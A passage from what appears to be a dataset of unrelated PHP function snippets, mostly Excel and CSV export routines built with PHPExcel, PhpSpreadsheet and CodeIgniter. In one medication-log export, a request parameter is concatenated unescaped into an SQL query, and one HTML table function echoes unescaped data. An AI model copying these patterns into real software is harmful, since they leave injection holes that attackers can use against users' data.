$row['quantity'];\n\t\t\t$data[$j++] = $row['model'];\n\t\t\t$data[$j++] = $row['manufacturer'];\n\t\t\t$data[$j++] = $row['image_name'];\n\t\t\t$data[$j++] = ($row['shipping']==0) ? 'no' : 'yes';\n\t\t\t$data[$j++] = $row['price'];\n\t\t\t$data[$j++] = $row['points'];\n\t\t\t$data[$j++] = $row['date_added'];\n\t\t\t$data[$j++] = $row['date_modified'];\n\t\t\t$data[$j++] = $row['date_available'];\n\t\t\t$data[$j++] = $row['weight'];\n\t\t\t$data[$j++] = $row['weight_unit'];\n\t\t\t$data[$j++] = $row['length'];\n\t\t\t$data[$j++] = $row['width'];\n\t\t\t$data[$j++] = $row['height'];\n\t\t\t$data[$j++] = $row['length_unit'];\n\t\t\t$data[$j++] = ($row['status']==0) ? 'false' : 'true';\n\t\t\t$data[$j++] = $row['tax_class_id'];\n\t\t\t$data[$j++] = ($row['keyword']) ? $row['keyword'] : '';\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['description'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\tif ($exist_meta_title) {\n\t\t\t\tforeach ($languages as $language) {\n\t\t\t\t\t$data[$j++] = html_entity_decode($row['meta_title'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t\t}\n\t\t\t}\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['meta_description'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['meta_keyword'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\t$data[$j++] = $row['stock_status_id'];\n\t\t\t$store_id_list = '';\n\t\t\tif (isset($store_ids[$instrument_id])) {\n\t\t\t\tforeach ($store_ids[$instrument_id] as $store_id) {\n\t\t\t\t\t$store_id_list .= ($store_id_list=='') ? $store_id : ','.$store_id;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$data[$j++] = $store_id_list;\n\t\t\t$layout_list = '';\n\t\t\tif (isset($layouts[$instrument_id])) {\n\t\t\t\tforeach ($layouts[$instrument_id] as $store_id => $name) {\n\t\t\t\t\t$layout_list .= ($layout_list=='') ? $store_id.':'.$name : ','.$store_id.':'.$name;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$data[$j++] = $layout_list;\n\t\t\t$data[$j++] = $row['related'];\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['tag'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\t$data[$j++] = $row['sort_order'];\n\t\t\t$data[$j++] = ($row['subtract']==0) ? 'false' : 'true';\n\t\t\t$data[$j++] = $row['minimum'];\n\t\t\t$this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );\n\t\t\t$i += 1;\n\t\t\t$j = 0;\n\t\t}\n\t}", "public function header($Arr_Labels=false)\n\t{\n\t\t$this->Arr_Labels = $Arr_Labels;\n\n $Int_Column = 0;\n if ($Arr_Labels)\n {\n\t foreach ($Arr_Labels as $Str_Field => $Str_Label)\n\t\t\t{\n $Str_Column = $Str_Label;\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t\t\t\t$Int_Column++;\n\t }\n\t\t}\n\t\telseif (isset($this->Arr_Data[0]))\n\t\t{\n\t foreach ($this->Arr_Data[0] as $Str_Field => $Str_Label)\n\t\t\t{\n\t\t\t\t$Int_Column++;\n $Str_Column = Inflector::humanize($Str_Field);\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t }\n\t\t}\n\n\t\t//Set the worksheet styles.\n $this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->setFillType(PHPExcel_Style_Fill::FILL_SOLID);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->getStartColor()->setRGB('ffffff');\n $this->Obj_Doc->getActiveSheet()->duplicateStyle( $this->Obj_Doc->getActiveSheet()->getStyle('A1'), 'B1:'.$this->Obj_Doc->getActiveSheet()->getHighestColumn().'1');\n\n\t\tfor ($i = 1; $i <= $Int_Column; $i++)\n\t\t{\n $this->Obj_Doc->getActiveSheet()->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($i))->setAutoSize(true);\n }\n\n\t\treturn $this;\n\t}", "public function tuExcel(){\n $fields= $this->db->field_data('hotel');\n $query= $this->db->get('hotel');\n return array (\"fields\" => $fields, \"query\" => $query);\n }", "public static function wdtSheetsNoHeadingValidation()\n {\n return [\n 'Age-Gen-Educ-Employ',\n 'Employment_timeseries',\n 'Training activity_FoE',\n 'Training activity_TP',\n 'Qual completions',\n // TODO more imports\n ];\n }", "function outputFormat(array $headers, array $cells, $result, $content_name) {\necho '<h3>'.ucfirst($content_name).' Content</h3>';\necho '<table>';\nforeach ($headers as $val) {\necho '<th>'.$val.'</th>';\n}\nwhile($row = mysqli_fetch_array($result))\n {\n echo '<tr>';\n foreach ($cells as $val) {\n echo '<td>'.$row[$val].'</td>';\n }\n echo '</tr>';\n }\n echo '</table>';\n}", "static function generateTableHeaderHTML()\n\t{\n\t\techo \"<tr class='exTableRow'>\\n\";\n\t\techo \"<th class='exTableColLineNum'>Item #</th>\\n\";\n\t\techo \"<th class='exTableColDesc'>Description of Work</th>\\n\";\n\t\techo \"<th class='exTableColAmount'>Amount</th>\\n\";\n\t\techo \"</tr>\\n\";\n\t}", "public function createExcelReport(\\PhpOffice\\PhpSpreadsheet\\Spreadsheet $spreadSheet){\n\t\t$wsResumen = new \\PhpOffice\\PhpSpreadsheet\\Worksheet\\Worksheet($spreadSheet, 'Resumen');\n\t\t$wsDatos = new \\PhpOffice\\PhpSpreadsheet\\Worksheet\\Worksheet($spreadSheet, 'Datos');\n\t\t//2. Escribe los datos sobre las hojas de cáculo\n\t\t//2.1. Escribe lo datos de la primera hoja\n\t\t//2.1.1. Inconsistencias por tipo\n\t\t$wsResumen->setCellValue(\"A3\",\"Inconsistencias por tipo\");\n\t\t$wsResumen->setCellValue(\"A4\",\"Desfase horario\");\n\t\t$wsResumen->setCellValue(\"A5\",\"Programación no coincide\");\n\t\t$wsResumen->setCellValue(\"A6\",\"Otros\");\n\t\t$wsResumen->setCellValue(\"A7\",\"Total\");\n\t\t//2.1.2. Inconsistencias por motivo\n\t\t$wsResumen->setCellValue(\"A9\",\"Inconsistencias por motivo\");\n\t\t$wsResumen->setCellValue(\"A10\",\"Origen\");\n\t\t$wsResumen->setCellValue(\"A11\",\"Error humano\");\n\t\t$wsResumen->setCellValue(\"A12\",\"Evento en vivo\");\n\t\t$wsResumen->setCellValue(\"A13\",\"Total\");\n\t\t//2.1.3. Inconsistencias por programadora\n\t\t$wsResumen->setCellValue(\"A15\",\"Inconsistencias por casa programadora\");\n\n\t\t//2.2. Escribe lo datos de la segunda hoja\n\t\t$wsDatos->setCellValue(\"A1\",\"Fecha-Hora Reporte\");\n\t\t$wsDatos->setCellValue(\"B1\",\"Fecha-Hora Evento\");\n\t\t$wsDatos->setCellValue(\"C1\",\"ID Evento\");\n\t\t$wsDatos->setCellValue(\"D1\",\"Título Evento\");\n\t\t$wsDatos->setCellValue(\"E1\",\"ID Canal\");\n\t\t$wsDatos->setCellValue(\"F1\",\"Nombre Canal\");\n\t\t$wsDatos->setCellValue(\"G1\",\"Casa Programadora\");\n\t\t$wsDatos->setCellValue(\"H1\",\"Tipo Error\");\n\t\t$wsDatos->setCellValue(\"I1\",\"Motivo Error\");\n\t\t$wsDatos->setCellValue(\"J1\",\"Desafase\");\n\t\t$wsDatos->setCellValue(\"K1\",\"Transmitiendo\");\n\t\t$wsDatos->setCellValue(\"L1\",\"Usuario\");\n\n\t\t$totals = $this->calculateTotals();\n\t\t$wsResumen = $this->setResumenPage($wsResumen,$totals);\n\t\t$wsDatos = $this->setDataPage($wsDatos);\t\t\n\t\t//Vincula las hojas al documento\n\t\t$spreadSheet->addSheet($wsResumen, 0);\n\t\t$spreadSheet->addSheet($wsDatos, 1);\n\t\treturn $spreadSheet;\n\n\n\t}", "public function export_excel()\n\t{\n\t$data = array(\n array ('Name', 'Surname'),\n array('Schwarz', 'Oliver'),\n array('Test', 'Peter')\n );\n\t\t\n\t\t//$data = $this->db->get('test')->result_array();\n\t\t$this->load->library('Excel-Generation/excel_xml');\n\t\t$this->excel_xml->addArray($data);\n\t\t$this->excel_xml->generateXML('my-test');\n\t}", "private function get_csv_header($questions){\n $columns = array_map(function($question){\n return $question->question;\n },$questions);\n\n return $columns;\n }", "public function makeTableur()\n {\n return $this->setDocumentPropertiesWithMetas(new Spreadsheet());\n }", "public function generateExcelFile($yp_id) {\n $this->load->library('excel');\n $this->activeSheetIndex = $this->excel->setActiveSheetIndex(0);\n\n //name the worksheet\n $this->excel->getActiveSheet()->setTitle('Pocket Money');\n $exceldataHeader = \"\";\n $exceldataValue = \"\";\n $headerCount = 1;\n if (!empty($yp_id)) {\n $medication_name = $this->input->get('professional_name');\n $search_date = $this->input->get('search_date');\n $search_time = $this->input->get('search_time');\n $search = $this->input->get('search');\n $sortfield = $this->input->get('sortfield');\n $sortby = $this->input->get('sortby');\n $data = [];\n //get YP information\n $table = YP_DETAILS . ' as yp';\n $match = array(\"yp.yp_id\" => $yp_id);\n $fields = array(\"yp.yp_fname,yp.yp_lname,yp.date_of_birth,sd.email,ch.care_home_name\");\n $join_tables = array(SOCIAL_WORKER_DETAILS . ' as sd' => 'sd.yp_id=yp.yp_id', CARE_HOME . ' as ch' => 'ch.care_home_id = yp.care_home');\n $data['YP_details'] = $this->common_model->get_records($table, $fields, $join_tables, 'left', $match, '', '', '', '', '', '', '');\n $match = array('am_form_id' => 1);\n $formsdata = $this->common_model->get_records(AM_FORM, array(\"form_json_data\"), '', '', $match);\n if (!empty($formsdata)) {\n $formsdata_expr = json_decode($formsdata[0]['form_json_data'], TRUE);\n }\n\n $match = array('yp_id' => $yp_id);\n $medication_data = $this->common_model->get_records(MEDICATION, '', '', '', $match);\n $data['stock'] = '';\n if (!empty($medication_data)) {\n $data['stock'] = $medication_data[0]['stock'];\n }\n $where = \"mc.yp_id = \" . $yp_id;\n\n if ($search == 1) {\n if (!empty($medication_name)) {\n $where .= ' AND mc.select_medication = ' . $medication_name;\n }\n if (!empty($search_date)) {\n $search_date = dateformat($search_date);\n $where .= ' AND mc.date_given = \"' . $search_date . '\"';\n }\n if (!empty($search_time)) {\n $search_time = dbtimeformat($search_time);\n $where .= ' AND mc.time_given = \"' . $search_time . '\"';\n }\n \n }\n\n $login_user_id = $this->session->userdata['LOGGED_IN']['ID'];\n $table = ADMINISTER_MEDICATION . ' as mc';\n $fields = array(\"mc.*, md.stock,mc.date_given as date_given,time_given as time_given\");\n $join_tables = array(MEDICATION . ' as md' => 'md.medication_id=mc.select_medication');\n $data['information'] = $this->common_model->get_records($table, $fields, $join_tables, 'left', '', '', '', '', $sortfield, $sortby, '', $where);\n\n $data['crnt_view'] = $this->viewname;\n $data['ypid'] = $yp_id;\n $form_field = array();\n $exceldataHeader = array();\n if (!empty($formsdata_expr)) {\n foreach ($formsdata_expr as $row) {\n $exceldataHeader[] .=html_entity_decode($row['label']);\n }\n $exceldataHeader[] .= 'Quantity Remaining';\n }\n\n if (!empty($formsdata)) {\n $sheet = $this->excel->getActiveSheet();\n $this->excel->setActiveSheetIndex(0)->setTitle('ADMINISTRATION HISTORY LOG');\n $sheet->getStyle('A1:Z1')->getFont()->setBold(true);\n $sheet->getColumnDimension('A')->setWidth(35);\n $sheet->getColumnDimension('B')->setWidth(12);\n $sheet->getColumnDimension('C')->setWidth(10);\n $sheet->getColumnDimension('D')->setWidth(15);\n $sheet->getColumnDimension('E')->setWidth(8);\n $sheet->getColumnDimension('F')->setWidth(25);\n $sheet->getColumnDimension('G')->setWidth(15);\n $sheet->getColumnDimension('H')->setWidth(20);\n $sheet->getColumnDimension('I')->setWidth(20);\n $sheet->getColumnDimension('J')->setWidth(15);\n $sheet->getColumnDimension('K')->setWidth(15);\n $sheet->fromArray($exceldataHeader, Null, 'A1')->getStyle('A1')->getFont()->setBold(true); // Set Header Data\n\n if (!empty($data['information'])) {\n $col = 2;\n foreach ($data['information'] as $data) {\n if (!empty($formsdata_expr)) {\n $exceldataValue = array();\n foreach ($formsdata_expr as $row) {\n if ($row['type'] == 'date') {\n if ((!empty($data[$row['name']]) && $data[$row['name']] != '0000-00-00')) {\n $exceldataValue[] .= configDateTime($data[$row['name']]);\n }\n } else if($row['type'] == 'text' && $row['subtype'] == 'time'){\n $exceldataValue[] .= timeformat($data[$row['name']]); \n } else if ($row['type'] == 'select') {\n if (!empty($data[$row['name']])) {\n if (!empty($row['description']) && $row['description'] == 'get_user') {\n\n $get_data = $this->common_model->get_single_user($data[$row['name']]);\n $exceldataValue[] .=!empty($get_data[0]['username']) ? $get_data[0]['username'] : '';\n } else if (!empty($row['description']) && $row['description'] == 'get_medication') {\n\n $get_medication_data = $this->common_model->get_single_medication($data[$row['name']]);\n $exceldataValue[] .= !empty($get_medication_data[0]['medication_name']) ? $get_medication_data[0]['medication_name'] : '';\n } else {\n $exceldataValue[] .= !empty($data[$row['name']]) ? $data[$row['name']] : '';\n }\n } else {\n $exceldataValue[] .= !empty($data[$row['name']]) ? $data[$row['name']] : '';\n }\n } else {\n $exceldataValue[] .= !empty($data[$row['name']]) ? $data[$row['name']] : '';\n }\n }\n $exceldataValue[] .= !empty($data['available_stock']) ? $data['available_stock'] : '';\n }\n $sheet->fromArray($exceldataValue, Null, 'A' . $col)->getStyle('A' . $col)->getFont()->setBold(false);\n $col ++;\n } // end recordData foreach\n }\n }\n }\n $fileName = 'ADMINISTRATION HISTORY LOG' . date('Y-m-d H:i:s') . '.xls'; // Generate file name\n $this->downloadExcelFile($this->excel, $fileName); // download function Xls file function call\n }", "function exportDataToExcel($table_details,$file_name,$worksheet_name)\n\n\t{\n\t// Creating a workbook\n\t$workbook = new Spreadsheet_Excel_Writer();\n\t\n\t// sending HTTP headers\n\t$workbook->send(\"$file_name\".'xls');\n\t\n\t// Creating a worksheet\n\t$worksheet =& $workbook->addWorksheet(\"'$worksheet_name'\");\n\t\n\t\n\t\tif ($table_details)\n\t\t\t{\n\t\t\t\t$colcount=0; //for setting the footer colspan\n\t\t\t\tforeach($table_details[0] as $key=>$value)\n\t\t\t\t\t{\n\t\t\t\t\t$worksheet->write(0,$colcount ,$key );\n\t\t\t\t\t$colcount++;\n\t\t\t\t\t}\n\t\t\t}\n\t\t\t$i=0;\n\t\t\t$cnt=count($table_details);\n\t\t\t\n\t\t\tfor($j=0; $j<$cnt; $j++)\n\t\t\t\t{\n\t\n\t\t\t\t$cell=0;\n\t\t\t\tforeach($table_details[$j] as $key=>$value)\n\t\t\t\t\t{\n\t\n\t\t\t\t\t$worksheet->write($j+1,$cell ,$value );\n\t\t\t\t\t$cell++;\n\t\t\t\t\t}\n\t\n\t\t\t\t}\n\t$workbook->close();\n\t}", "public function on_export_render_title_row() {\n\n\t\t$export_headers = array(\n\t\t\t'info' => __( 'Google Sheets Info', Forminator::DOMAIN ),\n\t\t);\n\n\t\t$quiz_id = $this->quiz;\n\t\t$quiz_settings_instance = $this->quiz_settings_instance;\n\n\t\t/**\n\t\t * Filter Google Sheets headers on export file\n\t\t *\n\t\t * @since 1.6.2\n\t\t *\n\t\t * @param array $export_headers headers to be displayed on export file\n\t\t * @param int $quiz_id current Quiz ID\n\t\t * @param Forminator_Addon_Googlesheet_Quiz_Settings $quiz_settings_instance Google Sheets Addon Quiz Settings instance\n\t\t */\n\t\t$export_headers = apply_filters(\n\t\t\t'forminator_addon_quiz_googlesheet_export_headers',\n\t\t\t$export_headers,\n\t\t\t$quiz_id,\n\t\t\t$quiz_settings_instance\n\t\t);\n\n\t\treturn $export_headers;\n\t}", "public function setColumnsHeadData()\n\t{\n\t\tFileStorage::getInstance()->store([], 'league_table_columns_head');\n\t}", "public function export()\n {\n include APPPATH . 'third_party/PHPExcel.php';\n\n // Panggil class PHPExcel nya\n $excel = new PHPExcel();\n\n date_default_timezone_set('Asia/Jakarta');\n $date = date(\"mY\");\n\n // Settingan awal fil excel\n $excel->getProperties()->setCreator('Admin PTPN VIII (' .$this->session->userdata('status_login'). ')')\n ->setLastModifiedBy('Admin PTPN VIII (' .$this->session->userdata('status_login'). ')')\n ->setTitle(\"Data A1\" .$date)\n ->setSubject(\"A1\" .$date)\n ->setDescription(\"Laporan Data A1\" .$date)\n ->setKeywords(\"Data A1\" .$date);\n\n // Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n $style_col = array(\n 'font' => array('bold' => true), // Set font nya jadi bold\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n // Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n $style_row = array(\n 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n // Buat header tabel nya pada baris ke 1\n $excel->setActiveSheetIndex(0)->setCellValue('A1', \"NPP\");\n $excel->setActiveSheetIndex(0)->setCellValue('B1', \"NAMA\");\n $excel->setActiveSheetIndex(0)->setCellValue('C1', \"NM_PGL\");\n $excel->setActiveSheetIndex(0)->setCellValue('D1', \"GLR_DPN\");\n $excel->setActiveSheetIndex(0)->setCellValue('E1', \"GLR_BLK\");\n $excel->setActiveSheetIndex(0)->setCellValue('F1', \"TPT_LAHIR\");\n $excel->setActiveSheetIndex(0)->setCellValue('G1', \"TGL_LAHIR\");\n $excel->setActiveSheetIndex(0)->setCellValue('H1', \"KELAMIN\");\n $excel->setActiveSheetIndex(0)->setCellValue('I1', \"GOL_DARAH\");\n $excel->setActiveSheetIndex(0)->setCellValue('J1', \"AGAMA\");\n $excel->setActiveSheetIndex(0)->setCellValue('K1', \"ALAMAT\");\n $excel->setActiveSheetIndex(0)->setCellValue('L1', \"KOTA\");\n $excel->setActiveSheetIndex(0)->setCellValue('M1', \"TINGGAL\");\n $excel->setActiveSheetIndex(0)->setCellValue('N1', \"SIPIL\");\n $excel->setActiveSheetIndex(0)->setCellValue('O1', \"STAT_IS\");\n $excel->setActiveSheetIndex(0)->setCellValue('P1', \"TGL_NIKAH\");\n $excel->setActiveSheetIndex(0)->setCellValue('Q1', \"TGL_CERAI\");\n $excel->setActiveSheetIndex(0)->setCellValue('R1', \"KANDUNG\");\n $excel->setActiveSheetIndex(0)->setCellValue('S1', \"ANGKAT\");\n $excel->setActiveSheetIndex(0)->setCellValue('T1', \"TANGGUNG\");\n $excel->setActiveSheetIndex(0)->setCellValue('U1', \"TGL_PPH\");\n $excel->setActiveSheetIndex(0)->setCellValue('V1', \"KD_PEND\");\n $excel->setActiveSheetIndex(0)->setCellValue('W1', \"TGL_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('X1', \"NO_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('Y1', \"KD_KELAS\");\n $excel->setActiveSheetIndex(0)->setCellValue('Z1', \"KLS_TMT\");\n $excel->setActiveSheetIndex(0)->setCellValue('AA1', \"KLS_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AB1', \"GOL\");\n $excel->setActiveSheetIndex(0)->setCellValue('AC1', \"MK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AD1', \"GOL_TMT\");\n $excel->setActiveSheetIndex(0)->setCellValue('AE1', \"GOL_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AF1', \"GPO\");\n $excel->setActiveSheetIndex(0)->setCellValue('AG1', \"KD_KBN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AH1', \"KD_ADF\");\n $excel->setActiveSheetIndex(0)->setCellValue('AI1', \"KD_JAB\");\n $excel->setActiveSheetIndex(0)->setCellValue('AJ1', \"NAMA_JAB\");\n $excel->setActiveSheetIndex(0)->setCellValue('AK1', \"KD_BUD\");\n $excel->setActiveSheetIndex(0)->setCellValue('AL1', \"JAB_TMT\");\n $excel->setActiveSheetIndex(0)->setCellValue('AM1', \"JAB_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AN1', \"JAB_TGL\");\n $excel->setActiveSheetIndex(0)->setCellValue('AO1', \"ASTEK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AP1', \"TASPEN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AQ1', \"NO_KK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AR1', \"NO_NIK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AS1', \"NO_BPJS\");\n $excel->setActiveSheetIndex(0)->setCellValue('AT1', \"TGL_MPP\");\n $excel->setActiveSheetIndex(0)->setCellValue('AU1', \"TGL_PEN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AV1', \"MKTHN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AW1', \"MKBLN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AX1', \"MKHR\");\n $excel->setActiveSheetIndex(0)->setCellValue('AY1', \"MPP\");\n $excel->setActiveSheetIndex(0)->setCellValue('AZ1', \"STAT_REC\");\n\n // Apply style header yang telah kita buat tadi ke masing-masing kolom header\n $excel->getActiveSheet()->getStyle('A1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('B1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('C1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('D1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('E1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('F1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('G1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('H1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('I1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('J1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('K1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('L1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('M1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('N1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('O1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('P1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_DATE_DDMMYYYY);\n $excel->getActiveSheet()->getStyle('Q1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_DATE_DDMMYYYY);\n $excel->getActiveSheet()->getStyle('R1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('S1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('T1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('U1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('V1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('W1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('X1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Y1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Z1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AA1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AB1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AC1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AD1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AE1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AF1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AG1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AH1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AI1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AJ1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AK1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AL1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AM1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AN1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AO1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AP1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AQ1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AR1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AS1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n 